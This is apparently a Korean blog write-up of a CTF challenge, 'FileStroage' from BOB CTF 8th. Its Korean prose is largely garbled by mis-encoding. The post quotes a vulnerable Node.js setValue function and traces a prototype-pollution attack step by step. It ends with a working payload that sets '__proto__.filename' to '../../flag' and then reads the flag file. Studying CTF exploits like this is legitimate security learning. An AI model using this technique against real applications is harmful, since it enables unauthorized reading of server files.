[BOB CTF 8th] - FileStroage
0. Description
ํ์ผ์ ๊ด๋ฆฌํ ์ ์๋ ๊ตฌํ์ด ๋ ๋ ํํ์ด์ง์
๋๋ค.
1. ํ์ด์ง ๊ตฌ์ฑ
1. GET /
read๊ฐ์ฒด์ filename property์ fake๋ผ๋ ์คํธ๋ง์ ๋ฃ๊ณ ๋ฐํ
2. POST /mkfile
ํ์ผ ์์ฑ ๊ธฐ๋ฅ, filename๊ณผ content๋ฅผ ์
๋ ฅ๋ฐ์ __dirname/storage/ ๊ฒฝ๋ก์ filename ๊ฐ์ ํด์ฌํ์ฌ
ํด์ฌ ์ด๋ฆ์ผ๋ก ํ์ผ์ ์์ฑํ ํ์ผ ์ด๋ฆ์ ๋ฐํํ๋ค.
3. GET /readfile
filename ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ์ ๊ฒฝ์ฐ __dirname/storage/ ๊ฒฝ๋ก์์ filename ์ด๋ฆ์ ํ์ผ์ ์ฝ๋๋ค.
filename ํ๋ผ๋ฏธํฐ๊ฐ ์์ ๊ฒฝ์ฐ read ์ค๋ธ์ ํธ์ filename Property๋ฅผ ๊ฐ์ ธ์จ๋ค.
4. GET /test
func, filename, rename ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ๋๋ค.
func๊ฐ rename์ผ ๊ฒฝ์ฐ SetValue ํจ์๋ฅผ ํตํด file ๊ฐ์ฒด property๋ฅผ ์ค์ ํ๋ค.
func๊ฐ reset์ผ ๊ฒฝ์ฐ read ๊ฐ์ฒด๋ฅผ ์ด๊ธฐํํ๋ค.
2. ๋ถ์
๋จผ์ flag์ ์์น๋ dockerfile์ /flag๋ก ํ์ธ๋๋ค.
์๋ /readfile ์์ filename์ ํตํด path traversal ๊ณต๊ฒฉ์ ์๋ํด ๋ณผ ์ ์์ง๋ง, "."์ด ๋ชจ๋ ํํฐ๋ง๋์ด ํจ๊ณผ๋ ์๋ค.
app.get('/readfile',function(req,resp){
let filename=file[req.query.filename];
if(filename==null){
fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
resp.send(data);
})
}else{
read[filename]=filename.replaceAll('.','');
fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
.
.
.
})
/readfile ์์ filename ํ๋ผ๋ฏธํฐ๊ฐ ์์ผ๋ฉด read object์ filename property ๊ฐ์ ์ฝ๋๋ก ๋์ด์๋ค.
prototype pollution์ ์ด์ฉํ๋ฉด ๊ฐ์ฒด์ propety๋ฅผ ๋ณ์กฐํ ์ ์๋ค.
3. ์ทจ์ฝ์ ํ์ - SetValue func
์ทจ์ฝ์ ์ ์์ธ์ด ๋๋ ํจ์์ด๋ค.
JavaScript์ Prototype Pollution์ด ๋ฐ์ํ๋ ํจ์๋ก, ๊ฐ์ฒด์ ์์ฑ์ ์ค์ ํ๋ฉฐ ๋ค๋ฅธ ๊ฐ์ฒด์ property ์ํฅ์ ์ค ์ ์๋ค.
Prototype Pollution์ ๋ํด์๋ ์๋ ๊ฒ์๊ธ์ ์ฐธ๊ณ ํ์
https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
4. ์ทจ์ฝ์ ํธ๋ฆฌ๊ฑฐ
setValue ํจ์๋ /test?func=rename์ ํตํด ํธ์ถ๋๋ค.
setValue(rename, "__proto__.filename", "../../flag")์ผ๋ก ์ํ๋๋ฉด ์๋ ์ฒ๋ผ file ๊ฐ์ฒด์ [__proto__]['filename'] property๊ฐ ๋ถ์ฌ๋๊ณ ์ด๋ read ๊ฐ์ฒด์๋ ์ํฅ์ ๋ผ์น๋ค.
์๋๋ setValue ํจ์๋ฅผ ์์ ์ธ์๋ก ์คํํ์ ๊ฒฝ์ฐ์ด๋ค.
function isObject(obj) {
return obj !== null && typeof obj === 'object'; //if __proto__ = false & false return false
}
// 1st
function setValue(obj, key, value) { // obj is file = {} , key = __proto__.filename, value = ../../flag
const keylist = key.split('.'); // keylist = ["__proto__", "filename"]
const e = keylist.shift(); // keylist will be ["filename"]
if (keylist.length > 0) { // True
if (!isObject(obj[e])) obj[e] = {}; // isObject return false so if is true -- obj[__proto__] = {}
setValue(obj[e], keylist.join('.'), value); // obj[e] is obj[__proto__], filename, ../../flag == try again setValue function
} else {
obj[key] = value;
return obj;
}
}
// 2nd
function setValue(obj, key, value) { // obj is obj[__proto__] , key = filename, value = ../../flag
const keylist = key.split('.'); // keylist = ["filename"]
const e = keylist.shift(); // e = filename
if (keylist.length > 0) { // True
if (!isObject(obj[e])) obj[e] = {}; // isObject return false so if is true -- obj[__proto__][filename] = {}
setValue(obj[e], keylist.join('.'), value); // obj[e] is obj[__proto__][filename], NULL , ../../flag == try again setValue function
} else {
obj[key] = value;
return obj;
}
}
// 3rd
function setValue(obj, key, value) { // obj is obj[__proto__][filename] , key = NULL, value = ../../flag
const keylist = key.split('.'); // keylist = NULL
const e = keylist.shift(); // e = NULL
if (keylist.length > 0) { // FALSE
if (!isObject(obj[e])) obj[e] = {}; // Not Execute
setValue(obj[e], keylist.join('.'), value); // Not Execute
} else {
obj[key] = value; // file[__proto__][filename] = "../../flag"
return obj; // return file[__proto__][filename] = "../../flag"
}
}
setValue๋ฅผ ํตํด read ๊ฐ์ฒด์ filename property๊ฐ ๋ณ์กฐ๋๋ฉด, /readfile ๊ฒฝ๋ก๋ก ์์ฒญ์ ๋ณด๋ด read[filename]์ ํ์ผ์ ๊ฐ์ ธ์จ๋ค.
** payload **
GET /test?func=rename&filename=__proto__.filename&rename=../../flag
GET /readfile
FLAG - BISC{bob11_bisc_h4c_PR0T0LF1!!!!@#}
'๐ก๏ธCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
rev-basic-4 (0) | 2023.09.28 |
---|---|
rev-basic-3 (0) | 2023.09.19 |
[BOB CTF 8th] - Summer Fan (0) | 2022.09.13 |
Apache htaccess (0) | 2022.07.28 |
read_flag (0) | 2022.01.23 |
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote
๋ค๋ฅธ ๊ธ
-
rev-basic-4
rev-basic-4
2023.09.28 -
rev-basic-3
rev-basic-3
2023.09.19 -
[BOB CTF 8th] - Summer Fan
[BOB CTF 8th] - Summer Fan
2022.09.13 -
Apache htaccess
Apache htaccess
2022.07.28